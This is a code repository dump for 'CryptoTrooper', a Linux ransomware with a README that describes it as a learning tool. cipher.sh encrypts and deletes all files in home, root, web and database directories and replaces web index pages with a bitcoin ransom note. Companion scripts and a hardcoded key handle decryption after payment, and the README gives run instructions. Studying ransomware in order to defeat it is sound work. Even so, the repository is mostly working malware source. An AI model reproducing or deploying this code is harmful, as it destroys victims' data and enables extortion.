├── bg.jpg ├── whiteKey ├── whiteCipher ├── list ├── whiteDecipher.sh ├── decipher.sh ├── ransom.html ├── cipher.sh ├── LICENSE ├── LICENSE-WhiteBox └── README.md /bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jdsecurity/CryptoTrooper/HEAD/bg.jpg -------------------------------------------------------------------------------- /whiteKey: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jdsecurity/CryptoTrooper/HEAD/whiteKey -------------------------------------------------------------------------------- /whiteCipher: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jdsecurity/CryptoTrooper/HEAD/whiteCipher -------------------------------------------------------------------------------- /list: -------------------------------------------------------------------------------- 1 | /root 2 | /home 3 | /var/www 4 | /usr/share/nginx 5 | /var/lib/mysql 6 | /var/lib/postgresql 7 | -------------------------------------------------------------------------------- /whiteDecipher.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | WKEY='a9cc73e0430a2a319571e8734c097d46' 4 | KEY=key.enc 5 | IV=$(cat key.iv) 6 | 7 | openssl enc -d -aes-128-cbc -K $WKEY -iv "$IV" -in "$KEY" -out ${KEY%.*} 8 | 9 | -------------------------------------------------------------------------------- /decipher.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | LIST=list 4 | KEY=key 5 | 6 | for LOCATION in $(cat $LIST) 7 | do 8 | for FILE in $(find $LOCATION -type f -name '*.enc') 9 | do 10 | openssl aes-128-cbc -salt -pass file:"$KEY" -in "$FILE" -out ${FILE%.*} -d && rm -rf "$FILE" 11 | done 12 | done 13 | 14 | -------------------------------------------------------------------------------- /ransom.html: -------------------------------------------------------------------------------- 1 | 2 | 9 | 10 | !WARNING!

11 | YOU ARE INFECTED
12 | WITH THE MOST CRYPTOGRAPHICALLY ADVANCED RANSOMWARE
13 | CryptoTrooper

14 | All your data of all your users, all your databases and all your Websites are encrypted

15 | You have one week to transfer 0.314 bitcoins to 4Kg7Cmooris7cLErTsijq6qR1FH3cTiK2H
16 | After payment, send /key.enc and /key.iv to mail@host.net
17 | You will receive the key to use with /decipher.sh 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /cipher.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | LIST=list 4 | RANSOM=ransom.html 5 | IMAGE=bg.jpg 6 | WKEY=whiteKey 7 | CIPHER=./whiteCipher 8 | KEY=key 9 | openssl rand -hex 16 > $KEY 10 | 11 | for LOCATION in $(cat $LIST) 12 | do 13 | for FILE in $(find $LOCATION -type f) 14 | do 15 | openssl aes-128-cbc -salt -pass file:"$KEY" -in "$FILE" -out "$FILE.enc" && cat /dev/null > "$FILE" && rm -rf "$FILE" 16 | done 17 | done 18 | 19 | "$CIPHER" -key "$WKEY" -in "$KEY" -out "$KEY.enc" | cut -d ' ' -f 2 | head -n 1 > "$KEY.iv" && cat /dev/null > "$KEY" && rm -rf "$KEY" 20 | 21 | APACHE=/var/www 22 | NGINX=/usr/share/nginx 23 | 24 | APACHEs=$(find $APACHE -name index.*) 25 | NGINXes=$(find $NGINX -name index.*) 26 | 27 | PAGES="$APACHEs $NGINXes" 28 | 29 | chmod 777 $IMAGE 30 | 31 | for PAGE in $PAGES 32 | do 33 | cp $RANSOM ${PAGE%.*} 34 | chmod 777 ${PAGE%.*} 35 | cp $IMAGE ${PAGE%/*} 36 | done 37 | 38 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 Maksym Zaitsev 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | -------------------------------------------------------------------------------- /LICENSE-WhiteBox: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, CloudFlare Inc. 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 5 | 6 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 7 | 8 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 9 | 10 | 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. 11 | 12 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 13 | 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CryptoTrooper 2 | 3 | CryptoTrooper is the world's first Linux white-box ransomware for learning purpose 4 | 5 | It requires : 6 | * **Debian-based 64-bit OS with root** - mostly used nowadays 7 | * **Apache/Nginx** - for Web service encryption and for changing the main page 8 | * **MySQL/PostgreSQL** - for database encryption 9 | * **/root and /home** - for personal data encryption 10 | 11 | How it works : 12 | * **Infection** - the victim's server is exploited and infected somehow, gaining root privileges 13 | * **Encryption** - the ransomware generates a unique symmetric encryption key and encrypts the data 14 | * **White-box** - the white-box cipher uses the one-way white-boxed key and encrypts the key used for data encryption 15 | * **Decryption** - the victim sends to the attacker the white-box encrypted key and its initialization vector (IV), this key is decrypted by the attacker with its IV and the master key used to generate the white-box key, the true key is sent to the victim 16 | 17 | Pros : 18 | * NO INTERNET CONNECTION IS REQUIRED AFTER INFECTION (since it doesn't uses public-key cryptography at all or any C&C) 19 | * Key-extraction protection 20 | * AES only 21 | * Anti-forensic 22 | * Random key generation 23 | * Radom IV 24 | 25 | Cons : 26 | * [Chowns white-box construction](https://github.com/OpenWhiteBox/AES) is broken (not the implementation, but the algorithm itself), thus the ransomware presents ABSOLUTELY NO THREAT AND NO INTEREST FOR MALICIOUS PURPOSE 27 | * CBC mode isn't the best-one for random data and not the fastest 28 | * 128-bit key-length should be longer 29 | * The same key is used for every file 30 | * The same hardcoded white-box key is used for every execution 31 | * No code obfuscation (except white-box) 32 | 33 | Purposes : 34 | * Learn ransomware's implementations and concepts, in order to defeat it 35 | * Practice reverse engineering 36 | * Be prepared for new and advanced threats 37 | * Demonstrate the ransomware's power and potential 38 | 39 | ##How to 40 | 41 | *Prepare environment* 42 | ```bash 43 | apt-get install apache2 nginx-common mysql-server postgresql 44 | ``` 45 | 46 | *Prepare ransomware* 47 | ```bash 48 | cd / 49 | mv $CRYPTOTROOPER_SOURCE_DIRECTORY/* . 50 | 51 | 52 | *Encrypt* 53 | ```bash 54 | /cipher.sh & 55 | ``` 56 | It will encrypt the data with AES-128-CBC with a randomly generated key and a random IV for each file 57 | 58 | Than it will use white-box to one-way encrypt this key and will generate key.enc and key.iv 59 | 60 | The victim now has to send both files to the attacker 61 | 62 | If you visit the local Website, you will notice the message 63 | ```bash 64 | firefox localhost & 65 | ``` 66 | 67 | *After payment* 68 | ```bash 69 | mv key.enc key.iv $YOUR_DIRECTORY 70 | ./whiteDecipher.sh 71 | ``` 72 | It will decrypt the victim's key that you may send to it 73 | 74 | 75 | *Decrypt* 76 | ```bash 77 | mv key / 78 | /decipher.sh 79 | ``` 80 | Everything should get back to as it was 81 | 82 | ###Notes 83 | 84 | Encryption isn't just encoding, but mathematical encoding 85 | 86 | White-box encryption isn't just obfuscation, but mathematical obfuscation 87 | 88 | The only way to defeat evil is to become its master 89 | 90 | > "Research is to see what everybody else has seen, and to think what nobody else has thought." 91 | 92 | Albert Szent-Gyorgyi 93 | 94 | 95 | --------------------------------------------------------------------------------